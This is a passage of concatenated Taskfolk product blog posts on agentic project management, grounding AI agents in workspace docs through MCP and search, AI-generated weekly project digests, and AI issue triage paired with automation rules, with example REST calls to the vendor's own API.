attributed to the agent in the activity log](/images/blog/what-is-agentic-project-management-agent-issue.webp) 4. Check. The agent verifies the writes landed (the API returns the updated record, and it validates fields on write, so an invented label value gets rejected rather than half-saved). Then it stops. It does not close the issue. It does not tell the customer anything. ### The act step, as actual calls Nothing in step 3 is exotic. The write is one `PATCH` against the issue, authenticated with the agent's own key as a bearer token: ```bash curl -X PATCH "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/web/issues/WEB-42" \ -H "Authorization: Bearer tfk_live_YOUR_KEY" \ -H "Content-Type: application/json" \ -d '{"priority": "high", "labels": ["checkout", "browser-safari"]}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/web/issues/WEB-42", { method: "PATCH", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ priority: "high", labels: ["checkout", "browser-safari"], }), }, ); const { data } = await res.json(); // the updated issue, read back for the check step ``` ```python import os, requests res = requests.patch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/web/issues/WEB-42", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={"priority": "high", "labels": ["checkout", "browser-safari"]}, ) issue = res.json()["data"] ``` The draft plan lands as a markdown comment on the same issue, through its own endpoint: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/taskfolk/projects/web/issues/WEB-42/comments" \ -H "Authorization: Bearer tfk_live_YOUR_KEY" \ -H "Content-Type: application/json" \ -d '{"body_md": "First pass: reproduce on Safari 17, then check the coupon-validation path."}' ``` `priority` only accepts the six values on the scale (`lowest` through `critical`); anything else is rejected as a 400 before it touches the board. That validation is part of what makes the check step trustworthy. The last step is the point. A person opens "Needs review," reads a fully-formed ticket with a priority, labels, and a draft plan already in place, and makes the call that actually carries risk: is this right, and does it go forward? They move the status. In Taskfolk that [status move is the approval](/docs/human-in-the-loop-approval-for-ai-agents). The agent did the tedious 80 percent; the human owns the judgment. ![A board with a Needs review column holding agent-prepared tickets awaiting a human status move](/images/blog/human-in-the-loop-approval-for-ai-agents-board.webp) The arithmetic is mundane, but it is the actual pitch. Triaging one intake ticket by hand (read it, guess severity, hunt for the right labels, write the first comment) is a five-minute job on a good day. Reviewing one that arrives already labeled, prioritized, and carrying a draft plan is closer to thirty seconds. At fifty tickets a week that is roughly four hours back, and, maybe more to the point, tickets stop queueing behind whoever drew triage duty this sprint. You can extend the same shape. An [AI weekly digest](/blog/let-ai-write-your-weekly-project-update) is the perceive-plan-act loop on a timer instead of an event: once a week it reads what changed and writes the summary. But the intake loop above is the cleanest illustration, because you can see every step land in a place the whole team already looks. ## Is agentic project management just workflow automation? No, and the difference is easy to state: a rule is deterministic, an agent makes a decision. "When an issue is created, move it to Backlog and notify #support" is a rule. It does the same thing every time, which is exactly what you want from it. No rule, however, can read "Checkout fails on Safari when I apply a coupon" and conclude that this is a `high`, that it belongs to `checkout` and `browser-safari`, and that the first step is reproducing on Safari 17. That conclusion is a judgment on messy prose, and judgment is the part the agent supplies. The two compose instead of competing: ```mermaid flowchart LR E["issue.created event"] --> R["Rule: same action every time"] E --> G["Agent: reads the prose, decides"] G --> W["Writes back through the API"] ``` In the intake example, the automation event is the nervous system (`issue.created` is what the agent perceives) and the agent is the brain attached to it. A practical rule of thumb: if a job can be a rule, make it a rule. It is cheaper, faster, and it never hallucinates. Save the agent for the steps a rule cannot express. ## How is this different from the AI in Jira, Asana, or ClickUp? Every tracker now ships AI, so the label on the box no longer tells you anything. Look for the pattern instead. Two of them are everywhere: a copilot in the sidebar (summarize this ticket, draft this description, answer questions about the project) and the deterministic automation rules that predate the AI wave entirely. Both are useful. Neither is the loop this article describes. The agentic pattern needs the tool to treat the agent as an actor: its own identity, its own scoped key, permissions, an audit trail, and events it can subscribe to. Connectivity itself stopped being a differentiator this year; when we [audited the MCP servers of 13 project management tools](/blog/mcp-audit-project-management-2026) in July 2026, 12 had a first-party server. The differences that matter now sit one layer down: what an agent may do once inside, what it costs (ClickUp, for example, caps MCP usage at 50 to 300 calls a day unless you buy the AI add-on), and what the agent *is* in the tool's model. In Taskfolk the answer to that last question is: a member. An agent appears in the assignee picker, its actions are attributed to it on the issue history, the same permission matrix that limits a human viewer limits it, and [it does not consume a paid seat](/blog/do-ai-agents-count-as-seats). That is not a feature checklist item; it is what makes the "Needs review" handoff legible, because everyone can see which changes were made by the machine and which by a person. Running agents as members is the whole premise of [Taskfolk for AI agents](/ai-agents). ![Issue history attributing each change to the agent that made it](/images/blog/manage-a-team-of-ai-agents-attribution.webp) ## What does agentic project management not mean? It does not mean lights-out. The teams getting real work out of agents are not running unattended project management; they are handing over specific, checkable jobs and keeping a person on the writes that would hurt to get wrong. The status gate in the example is not a limitation we expect to remove. It is the design. It also does not mean the agent replaces your process. It plugs into it. The event it listens to is your automation event. The labels it applies are your labels. The status it moves to is your column. Take away the underlying tracker and there is nothing for the agent to be agentic about. And it does not mean magic reliability. Agents fail in patterns you can plan for: - They duplicate work when search is weak, so good search matters more than it sounds. - They lose the thread on long issues if you feed them two comments instead of the whole record, which is why [giving your agent a knowledge base](/blog/give-your-ai-agent-a-knowledge-base) pays off early. - They invent field values unless the API rejects them, which is exactly why validating on write is not optional. - They stall in ways that look like progress, which is worth [learning to spot](/blog/is-your-ai-agent-stuck) before one burns a day. These are solvable, but they are real, and anyone selling you a frictionless version is selling you the demo. ## Where to start Pick one narrow, repetitive, checkable job. Intake triage is the usual first pick because a wrong answer shows up in one ticket, not across the board. Give the agent its own scoped key, read access to the project, and write access to just what that job needs. Point it at a real form and let it run for a week or two while you watch the "Needs review" column. If it earns your trust, widen the leash. If it does not, you have lost one column of tickets, not your process. The longer version of that rollout, including what to delegate second and third, is in [how to run projects with AI agents](/blog/run-projects-with-ai-agents). And if you are still picking a tool, we ranked [the best AI project management software](/blog/best-ai-project-management-software) by this exact lens: agent support first, assistive features and price after. You can wire this up today: publish a form, mint a scoped key, and connect an agent through [the MCP server or the REST API](/developer). Start with triage this afternoon and judge it by whether you stop double-checking it. --- # Give your AI agent a knowledge base: your docs, not the internet URL: https://taskfolk.ai/blog/give-your-ai-agent-a-knowledge-base Published: 2026-06-05 Updated: 2026-07-25 Author: The Taskfolk team Tags: AI agents, knowledge base, MCP How to give an AI agent access to your company docs, so it grounds answers in your workspace instead of guessing, using RAG exposed through MCP. Ask a general-purpose AI agent how your team ships a release and it will give you a confident, plausible, wrong answer. It has read a million blog posts about release processes. It has not read yours. So it invents one, and it sounds fine until someone follows it. The fix is not a smarter model. It is giving the agent access to your actual documents, so it answers from what your team wrote down instead of from the average of the internet. That is what people mean by "give the agent a knowledge base," and in 2026 there is a clear pattern for doing it well. This post walks through the pattern and shows how it works when your docs already live next to the work, in a tool like Taskfolk. ## Why a general model guesses A language model only knows two things: what it learned during training, and what you put in front of it right now. Your onboarding doc, your API conventions, the reason you dropped the old billing flow, none of that was in training. If you do not hand it over at question time, the model fills the gap with its best statistical guess. For casual questions that is fine. For "which service owns the retry logic" or "what is our definition of done," a guess is worse than silence, because it reads as authoritative. The person asking has no way to tell a grounded answer from a confident fabrication. So the job is retrieval: when a question comes in, find the handful of documents that actually bear on it and put them in the model's context before it answers. That is retrieval-augmented generation, RAG, and the whole game is retrieval quality. A perfect model with the wrong three documents still gives you a wrong answer. ## The 2026 pattern: good retrieval, exposed through MCP Two things have settled over the last year. First, retrieval quality matters more than model choice. Teams that chased the newest model but fed it a keyword search over a stale wiki got mediocre results. Teams with decent search over current, well-scoped docs got good ones. The lesson is boring and correct: invest in what the agent can find, not in which brand of model reads it. Second, the plumbing standardized on the Model Context Protocol. Before MCP, connecting an agent to your docs meant writing a custom tool for each client, describing every call in a prompt, and keeping that description in sync forever. MCP is a common shape a model already understands. The service exposes its search and read tools once, the client discovers them, and any MCP-capable agent can use them without bespoke glue. We wrote more about that trade-off in [should your agent use MCP or the REST API](/blog/mcp-or-rest-api-for-your-agent). Put the two together and you get the pattern: keep your documents somewhere with real search, expose that search as tools over MCP, and let any agent ground its answers through it. Model-agnostic, no per-client wrappers, retrieval you can actually reason about. What that looks like when an agent actually asks something: ```mermaid sequenceDiagram participant A as Agent, any MCP client participant M as MCP server participant K as Docs + issues search A->>M: discover the tools, once, no glue code A->>M: search "deploy checklist" M->>K: query the live workspace K-->>M: current doc sections and issues M-->>A: results, with sources Note over A: answer grounded in what it found ``` ## Where Taskfolk fits, and where it does not Here is the honest scope up front. Taskfolk is not a general-purpose RAG platform. You do not point it at a folder of PDFs or your whole Google Drive. It will not index your Slack history or your codebase. What Taskfolk does is narrower and, for a project tool, more useful: it grounds an agent in your workspace. Your [docs](/developer) live in the same place as your issues, your board, and your backlog. That co-location is the point. When an agent asks "what is the acceptance criteria for WEB-142," the doc that describes it and the issue it belongs to are in the same tenant, reachable with the same key, searchable in one call. ![Workspace docs in Taskfolk, living next to the projects and issues they describe](/images/blog/how-to-write-project-docs-workspace-knowledge.webp) If you need a knowledge base that swallows arbitrary files from everywhere, use a dedicated RAG product. If you want your agent to answer from the project it is already working on, that is what this is. ## What actually lives in Taskfolk that an agent can read Taskfolk has workspace documentation with rich text and images, doc mentions, and versioned history. Docs can be workspace-wide (an engineering handbook, a style guide) or scoped to a single project (that project's architecture notes, its runbook). Alongside them sit issues, comments, and custom fields, which are just as much "what the team knows" as any formal doc. Search runs on Typesense across both docs and issues. It is typo tolerant and ranks by relevance, which is the retrieval-quality half of the pattern doing its job. ![Workspace search returning ranked issues and docs for one query](/images/blog/how-to-search-your-workspace-results.webp) One deliberate design choice worth naming: if the search index is unreachable, Taskfolk returns no results rather than falling back to a slow database scan. An agent gets an honest empty answer instead of a query that hangs for a minute. Empty and fast beats slow and eventually-empty when a model is waiting on the other end. ```mermaid flowchart TD Q[Agent question] --> S[Search the workspace] S -->|hits| C[Put docs in context] C --> G[Grounded answer] S -->|index down| E[Fast empty result] E --> H[Agent says it does not know] ``` ## Connecting an agent to it The mechanics are short. Every capability Taskfolk exposes over [the REST API](/api/v1/reference) is also exposed as an MCP tool, generated from the same source, so the two never drift. For grounding, three of those tools matter: - `search` looks across issues and docs. One call takes a query and an optional type filter (`types=issue,doc`), and returns ranked hits from the workspace. This is the retrieval step. - `get_doc` reads a doc. Once search points at the right document, the agent fetches its full body to put in context. - `list_docs` lists docs, for an agent that wants to walk a project's documentation rather than search it. In an MCP-native client, you add the Taskfolk server once with an API key and these show up in the agent's toolset: ```bash claude mcp add --transport http taskfolk-product https://taskfolk.ai/api/mcp/v1/ \ --header "Authorization: Bearer tfk_live_YOUR_KEY" ``` No wrapper to write, no prompt describing each endpoint to maintain. When we add an endpoint, it appears; when we change a field, the description the model reads updates with it. If your agent speaks plain HTTP instead, the same retrieval step is one GET. Here it is three ways: ```bash curl "https://taskfolk.ai/api/v1/workspaces/YOUR_WORKSPACE/search?q=deploy+checklist&types=issue,doc" \ -H "Authorization: Bearer tfk_live_YOUR_KEY" ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/YOUR_WORKSPACE/search?" + new URLSearchParams({ q: "deploy checklist", types: "issue,doc" }), { headers: { Authorization: "Bearer tfk_live_YOUR_KEY" } }, ); const { data } = await res.json(); ``` ```python import requests res = requests.get( "https://taskfolk.ai/api/v1/workspaces/YOUR_WORKSPACE/search", params={"q": "deploy checklist", "types": "issue,doc"}, headers={"Authorization": "Bearer tfk_live_YOUR_KEY"}, ) hits = res.json()["data"] ``` The response is one relevance-ordered list that mixes both kinds of hit, so the agent sees the doc and the ticket side by side: ```json { "data": [ { "type": "doc", "id": "0197f3a2-...", "title": "Release checklist", "icon": null, "project_slug": "web", "updated_at": "2026-05-28T09:14:00.000Z" }, { "type": "issue", "key": "WEB-142", "id": "0197f3a2-...", "title": "Ship the new billing flow", "project_key": "WEB", "project_slug": "web", "project_name": "Web app", "issue_type": "story", "status": "in_progress", "priority": "high", "updated_at": "2026-06-01T15:02:00.000Z" } ], "pagination": { "next_cursor": null } } ``` When search points at the right document, reading it is one more call: ```bash curl "https://taskfolk.ai/api/v1/workspaces/YOUR_WORKSPACE/docs/DOC_ID" \ -H "Authorization: Bearer tfk_live_YOUR_KEY" ``` The security model is the part not to skip. Mint a separate, scoped key per agent. A grounding agent that only needs to read wants `docs:read` and `search:read` and nothing else, so it can look at the whole knowledge base but cannot touch a single ticket. ![The API keys tab where each agent gets its own scoped key](/images/blog/how-to-use-the-rest-api-keys-tab.webp) Search also respects tenant isolation: a key scoped to two projects will not surface doc titles from a project it cannot reach. Read broadly, write narrowly, revoke one key without touching the rest. ## The workflow this unlocks Once an agent can search and read, the useful behavior falls out. A support agent looks up how a feature actually works before answering, instead of paraphrasing the marketing page. A coding agent reads the project's architecture doc and the linked issue before it writes anything, so its plan matches your conventions rather than a generic best practice. An onboarding assistant answers a new hire from your real runbook. ![An agent connected to the workspace through the agent hub](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) And because the docs sit next to the issues, the agent's answer can cite the exact ticket, and its follow-up action, filing a bug, moving a card, can land in the same board a human would use. Grounding and acting are not two separate integrations. They are the same key against the same workspace. We go deeper on the acting half in [run your projects with AI agents](/blog/run-projects-with-ai-agents). ## The trade-offs, plainly Retrieval is only as good as what you write down. An agent grounded in a doc that is six months stale will confidently repeat six-month-old facts. RAG moves the problem from "the model does not know" to "keep the docs current," which is a better problem but still a real one. Taskfolk's versioned doc history helps you see when something last changed; it cannot make anyone update it. MCP is also still young. The spec moves, and client support is uneven, so some agents will need the plain REST path instead. That is fine, both doors reach the same tools. The honest summary: connecting your docs will not make a mediocre model brilliant, and it will not fix documentation nobody maintains. What it does is stop a good model from guessing about your project. For most teams, that is the difference between an assistant you can trust and a toy you have to double-check. If you want to try it, put your project's docs in Taskfolk, mint a read-only key with `docs:read` and `search:read`, and point one agent at it. See the [developer docs](/developer) for the setup, and [pricing](/pricing) if you are weighing the seats. --- # Let AI write the weekly project digest URL: https://taskfolk.ai/blog/let-ai-write-your-weekly-project-update Published: 2026-06-01 Updated: 2026-07-25 Author: The Taskfolk team Tags: reports, automation, project management, AI agents How to automate a weekly status report with AI that reads what actually moved and what stalled, instead of a dumb scheduled dump of ticket counts. Every Friday, someone on your team spends an hour they will not get back. They open five projects, scroll the board, ping two people to ask what happened to the thing that has not moved, and paste it all into an email nobody fully reads. Multiply that by a lead per team and you are burning real hours a week to produce a document that is stale the moment it sends. The usual fix is a scheduled report: wire the tracker to email a list of counts every Monday. It is worse than the manual version in one important way. It has no judgment. It will happily tell you "12 issues in progress" without noticing that four of them have not been touched in nine days. It reports the shape of the week, not what the week meant. There is a better shape for this, and it is finally practical: an agent that reads the actual week of activity and writes the update the way a person would in a standup note. That is what Taskfolk's weekly digest does, and this post is about why the reasoning matters more than the automation. ## Why a scheduled report is not enough A dumb report answers "how many." It cannot answer "which of these is in trouble," because that requires looking across signals and drawing a small inference. Was this ticket created and then untouched? Did it move to In Progress a week ago and stop? Did the count of open bugs quietly climb while everyone was heads-down on the story? A human reader does that inference for free when they scan the board, which is exactly why the manual update exists and the automated one usually gets ignored. The point of putting an AI in the loop is not to save the fifteen minutes of typing. It is to keep the reasoning and drop the scrolling. So the bar for a good digest is not "did it send on time." It is "would a teammate who read it know what to worry about." That is a higher bar, and most scheduled reports do not clear it. ## What Taskfolk's weekly digest actually does Taskfolk generates the digest per workspace, once a week, from the background worker. It runs Monday morning so the update is on your desk before the week starts, not after it ends. The whole pipeline is short: ```mermaid flowchart TD A[Worker fires Monday morning] --> B{AI credits left?} B -- no --> X[Skip workspace] B -- yes --> C[Read last 7 days per project] C --> D{Anything happened?} D -- no --> Y[Skip project] D -- yes --> E[Model writes summary, highlights, risks] E --> F[Email to owners and admins] E --> G[Same digest on the summary page] ``` For each active project, it looks at the last seven days and pulls the real signal: - Issues created this week, and issues completed this week (moved to a done status). - What is currently in progress or in review, oldest-touched first, so the things that have been sitting show up at the top. - The most recent activity across the project's issues: who changed status, who commented, who got assigned, what got renamed. That signal reaches the model as plain lines, not a database dump. For one project it looks like this (keys and names made up): ``` Project: Mobile app (APP) Window: last 7 days. Issues created this week: 4. Issues completed (done) this week: 3. Currently in progress / in review (6): - APP-64 "Retry queue for uploads" [in_progress] - APP-73 "New onboarding flow" [in_review] Most recent activity (newest first, up to 30): - Lena changed status of APP-73 "New onboarding flow" (-> in_review) - Sam commented on APP-88 "Offline draft sync" ``` Then come the strict instructions. Write like an engineer in a standup note. Refer to specific issues by their key, like `WEB-42`, and say what happened to them. Use only the supplied signal. Never invent an issue, a name, or a number. If a section has nothing concrete to say, leave it short rather than padding it. The model has to answer in one fixed shape, strict JSON and nothing outside it: ```json { "summary": "1 to 3 sentences naming what got done and what is in flight, with issue keys", "highlights": ["2 to 5 bullets, each naming a specific issue and the concrete thing that happened to it"], "risks": ["0 to 3 bullets naming issues that look stuck, stale, or overdue, and why"] } ``` That `risks` array is the part a counting report can never write, because it is a judgment, not a total. The email links each project back to its summary page in the app, and the same generated digest is reused there, so opening the project shows you the identical read rather than a second, contradictory one. ![Project summary page in Taskfolk, where the same weekly digest appears next to the status and activity charts](/images/blog/how-to-read-the-project-summary-overview.webp) ## What a good digest reads like Here is roughly what lands in the inbox for one project. Names and keys are made up. > APP - Mobile app > > Shipped the offline draft sync (APP-88) and closed the two crash reports from last week (APP-91, APP-92). The new onboarding flow (APP-73) moved to review on Thursday and is waiting on design sign-off. Six issues are in progress; most got touched this week. > > Highlights > - APP-88 offline draft sync merged and marked done > - APP-73 onboarding flow moved to In Review, assigned to Lena > - APP-91, APP-92 crash reports resolved and verified > > Risks > - APP-64 has been In Progress for 11 days with no activity since the 22nd > - APP-80 was created 8 days ago and never picked up Read that in ten seconds and you know the real state: two things shipped, one is stuck on a handoff, and two are drifting. No counts to interpret, no board to scroll. The risks are the two lines you would actually act on, and they are the two lines a scheduled report would have hidden inside "9 in progress, 3 in backlog." ## Be honest about what it can and cannot infer It would be easy to oversell this, so here is the straight version. The digest reasons over what is recorded in the tracker, and nothing else. It can see that APP-64 has not moved in eleven days and flag it as stuck. It cannot tell you that APP-64 is stuck because the vendor API is down, unless someone wrote that on the issue. It reads your project's activity, not your Slack, not your standup, not the meeting where you decided to deprioritise it. That has a real consequence: if your board is not honest, the digest inherits the lie. A ticket that is actually done but never moved out of In Progress will show up as a risk. Work that happened entirely in DMs will be invisible. Garbage in, confident summary out. The digest is a mirror of the tracker, and it is only as good as the tracker is current. ![A kanban board in Taskfolk, the only signal the digest can read](/images/blog/how-to-use-a-kanban-board-overview.webp) It also does not chase people. It will surface that something looks stale; it will not message the assignee or reassign it. That is deliberate. The digest summarises read-only signal and stops there. If you want automatic action on issue events, that is a separate thing in Taskfolk, its workflow automation rules, and it is a decision you make on purpose, not a side effect of a summary. If you are curious how far that goes, we wrote about [running projects with AI agents](/blog/run-projects-with-ai-agents) separately. A few smaller limits worth knowing: - It covers up to five projects per workspace in the email, so very large workspaces get the busiest slice rather than everything. - It only runs while the workspace has AI credits left. - It skips any project where nothing happened that week, so a quiet project does not generate a filler paragraph. - It goes to workspace owners and admins who have the weekly digest preference on, and every email carries an unsubscribe link, because a status update nobody wants is just more noise. ![Notification preferences in Taskfolk, where the weekly digest email toggle lives](/images/blog/how-to-manage-your-notification-preferences-prefs-matrix.webp) ## Where this fits If your weekly update is a person copying the board into an email, you are paying for a worse version of what a model can now do in one pass. The win is not that a robot types it. The win is that the thing reading your week has enough judgment to tell you which two lines matter, and the discipline to admit when it has nothing to say. The catch is the same one behind [running sprints without ceremony](/blog/run-sprints-without-the-ceremony): all of it rests on a board that tells the truth. Keep your issues current and the digest is genuinely useful. Let the board rot and no automation, dumb or smart, can save the report. If you want to see it on your own projects, [Taskfolk is free to start](/pricing) and the weekly digest is built in. Turn it on, keep your board honest for a week, and read what shows up Monday morning. --- # Auto-triage new issues with AI: assign, label and prioritize URL: https://taskfolk.ai/blog/ai-issue-triage-that-assigns-and-prioritizes Published: 2026-05-27 Updated: 2026-07-28 Author: The Taskfolk team Tags: AI triage, automation, workflow, forms How to set up AI issue triage automation that classifies severity, labels, and routes new bugs and requests, with an honest line on what to let AI decide. Triage is the least glamorous job on any team and the first one that falls apart under load. A bug lands. Nobody reads it for two days. When someone finally does, they spend four minutes deciding it is a P2, slapping a "billing" label on it, and figuring out who owns that area this month. Multiply by fifty issues a week and you have a quiet, permanent tax on the whole team. This is the one place AI earns its keep immediately. Reading a fresh report, guessing at severity, and picking a couple of labels is exactly the kind of bounded, repetitive judgment a model is good at. It is checkable in seconds, cheap to undo, and it happens constantly. If you are going to hand one job to AI, make it this one. Here is how AI issue triage automation actually works in Taskfolk, and, just as important, where we deliberately keep a human in the seat. ## What "triage" really means, split into parts People say "triage" like it is one action. It is at least three, and they carry different risk. 1. Classify. Read the title and body, decide the type (bug, story, or task) and the priority. Low risk to get wrong, easy to override. 2. Label. Attach a few tags from the project's existing set so the issue is findable and routable. 3. Route. Assign it to a person or a queue, drop it in a sprint, move it to a column. Taskfolk's AI does the first two. It does not do the third, and that is on purpose. Classifying and labeling is pattern-matching against the text in front of you. Routing is a decision about people and capacity that changes week to week, and a model guessing wrong there sends work to someone who is out on leave. So we split the job: AI classifies and labels, and your own automation rules handle assignment and routing from those results. More on that split below, because it is the part most tools get wrong by pretending one model call can do everything. ## The two modes: suggest, or auto-apply Taskfolk ships triage in two shapes, and you should start with the first. Suggest mode is human-in-the-loop. Open an issue, hit the AI triage button, and you get back a proposed priority, an optional type, a short list of labels drawn only from that project's palette, and one sentence explaining the call. Every suggestion has the same shape: ```json { "priority": "high", "type": "bug", "labels": ["billing"], "reason": "Checkout failure with direct customer impact reads as a high-priority defect." } ``` Nothing changes until you accept it. There is a batch version too: [select a handful of issues in the list view](/docs/how-to-bulk-edit-issues), run triage across all of them, and keep the rows that look right. It is capped per run so one click cannot spawn a hundred model calls. ![The AI triage suggestions modal over a selection of issues, one row per issue with a suggested priority, label chips, a one-line reason, and a checkbox to keep or drop each suggestion](/images/blog/how-to-bulk-edit-issues-triage-modal.webp) Auto-apply mode is the autonomous version. Turn it on per project in settings, and every newly created issue gets triaged in the background and the result is written straight to the issue. No click. It is off by default, and it should stay off until suggest mode has earned your trust on that project. ```mermaid sequenceDiagram participant M as Member participant U as Taskfolk participant AI as Model M->>U: Creates an issue U->>AI: Title and description AI-->>U: Priority, type, labels, reason U->>U: Guards drop anything invented or already set by a human U->>M: One activity entry, attributed to the AI, reason attached ``` The auto-apply path is careful in ways that matter: - It only sets priority when the issue is still on the default "medium." If the person who filed it already marked it critical, AI leaves that alone. Human intent wins. - It only refines a generic "task" into a bug or a story. It never touches an issue you already typed as a bug, and it never reclassifies an epic or a subtask, because those carry containment rules a blind write would break. - It only attaches labels that already exist in your project. It cannot invent a tag. Anything the model hallucinates gets dropped before it hits the database. - Every change lands as one activity entry on the issue, attributed to the AI, with the model's reason attached. You can always see what it did and why. If nothing is confidently actionable, it writes nothing. A no-op is a valid answer. ## Where assignment and routing come from So if the AI does not assign, what does? Automations. Taskfolk's automation rules fire on issue events, and `issue.created` is the one you want here. A rule watches for new issues, checks conditions, and runs actions in order: set priority, add or remove a label, assign to a specific member or to the person who triggered the event, move to the active sprint, set a status, post a comment. Assignment is a real action (`assign_to`), and it validates that the target is actually a workspace member before it writes, so a rule cannot quietly park work on someone who left. ![The Automations page with existing rules shown as WHEN, IF, THEN chip rows and a grid of starter recipes below them](/images/blog/how-to-set-up-automations-list.webp) The pattern that works: let AI put the label on, then let a rule route on that label. AI reads "card declined at checkout" and tags it `billing`. A rule sees the `billing` label on a new issue and assigns it to the payments lead, bumps priority, and drops it in the current sprint. The AI made the judgment about what the issue is. The rule made the deterministic decision about where it goes. Neither is guessing at the other's job. The division of labor, drawn: ```mermaid flowchart TD N["New issue: card declined at checkout"] --> AI["AI triage reads it"] AI -->|"the judgment call"| L["Type, priority, and a billing label"] L --> R["issue.created rule matches the billing label"] R -->|"the deterministic part"| ACT["Assign payments lead, bump priority, move to sprint"] ``` ### Creating the routing rule over the API You can build that rule in the UI, or create it over the public API with a key that has the `automations:write` scope. Label conditions match on the label's id, not its name. ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/acme/automations" \ -H "Authorization: Bearer tfk_live_your_key" \ -H "Content-Type: application/json" \ -d '{ "name": "Route billing issues", "trigger": "issue.created", "conditions": { "match": "all", "rules": [{ "field": "label", "op": "is", "value": "BILLING_LABEL_ID" }] }, "actions": [ { "type": "assign_to", "assign_target": "member", "member_id": "PAYMENTS_LEAD_ID" }, { "type": "set_priority", "priority": "high" }, { "type": "move_to_sprint", "sprint_target": "active" } ] }' ``` ```javascript const res = await fetch("https://taskfolk.ai/api/v1/workspaces/acme/automations", { method: "POST", headers: { Authorization: "Bearer tfk_live_your_key", "Content-Type": "application/json", }, body: JSON.stringify({ name: "Route billing issues", trigger: "issue.created", conditions: { match: "all", rules: [{ field: "label", op: "is", value: "BILLING_LABEL_ID" }], }, actions: [ { type: "assign_to", assign_target: "member", member_id: "PAYMENTS_LEAD_ID" }, { type: "set_priority", priority: "high" }, { type: "move_to_sprint", sprint_target: "active" }, ], }), }); const rule = await res.json(); // 201 with the created rule ``` ```python import requests rule = requests.post( "https://taskfolk.ai/api/v1/workspaces/acme/automations", headers={"Authorization": "Bearer tfk_live_your_key"}, json={ "name": "Route billing issues", "trigger": "issue.created", "conditions": { "match": "all", "rules": [{"field": "label", "op": "is", "value": "BILLING_LABEL_ID"}], }, "actions": [ {"type": "assign_to", "assign_target": "member", "member_id": "PAYMENTS_LEAD_ID"}, {"type": "set_priority", "priority": "high"}, {"type": "move_to_sprint", "sprint_target": "active"}, ], }, ).json() ``` This is also why triage pairs so well with intake forms. A public form at `/f/` turns an outside request into an issue, and it carries routing defaults of its own: a default assignee, labels, a target sprint. Those defaults plus an `issue.created` rule plus AI classification give you a request that arrives already typed, labeled, prioritized, and assigned, with a human never touching it until there is an actual decision to make. That is the whole win. ![The form builder's build tab, where an intake form is assembled field by field before it starts feeding triaged issues into the project](/images/blog/how-to-set-up-a-request-form-builder-build-tab.webp) ## What to let AI decide, and what to escalate Be honest about the line. Here is where we draw it. | Decision | Who owns it | Why | | --- | --- | --- | | Type and priority on a routine report | AI | Wrong costs two seconds to fix | | A couple of labels from the existing set | AI | Checkable at a glance, cheap to undo | | Severity that pages someone at 2am | Human | The text does not carry that context | | Anything touching a customer commitment | Human | The model does not know who is about to churn | | Closing or deleting work | Human | Auto-apply never does this at all | | Priority the reporter already set | Human | Auto-apply refuses to override it | The short version: if a mistake on one ticket costs seconds, let the model make the call. If a "small bug" might actually block a launch, that is a context call, not a text call, and context calls stay human. The auto-apply guards encode most of this for you already. But the judgment about which projects get auto-apply at all is yours. Noisy inbound project with a clear label taxonomy? Turn it on. High-stakes project where every issue is a deliberate decision? Leave it on suggest. ## The cost question, answered up front Auto-triage sounds like a way to accidentally spend a fortune on model calls. It is guarded against exactly that. - Bulk paths, CSV import, service import from Trello and friends, form submissions, and the public API never trigger auto-triage. Only an interactive create does, so importing five hundred rows fires zero model calls. - There is a per-project rate cap on top of that. - The whole thing stops the moment a workspace runs out of AI credits. - Suggestions run on a cheap, fast model with a tiny token budget, because this is a short classification task, not an essay. ## The honest contrast Jira's Rovo and Linear both do a version of this, and both put it behind the higher tiers. Rovo is an add-on with its own per-seat pricing on top of Jira. Auto-triage of this kind sits in the paid layer, not the base plan. In Taskfolk, triage is built in. It is part of the AI features that come with the product, metered by the same credit balance as the rest, not a separate line item you upgrade into. That is a deliberate choice: triage is the highest-leverage AI feature for a normal team, so gating it behind an enterprise SKU means the teams who would benefit most never get to it. None of this replaces judgment. It removes the part of triage that was never judgment to begin with, the reading, the typing, the labeling, so the person is left with the decisions that actually need a person. Start with suggest mode on one busy project. Watch it for a week. When you stop correcting it, turn on auto-apply and wire an `issue.created` rule to route what it labels. If you are handing more of the board to agents in general, we wrote about that trust curve in [running a project with AI agents](/blog/run-projects-with-ai-agents). If you want to see the full surface, the [pricing page](/pricing) lays out what is included, and the automations and forms both live one click deep in any project.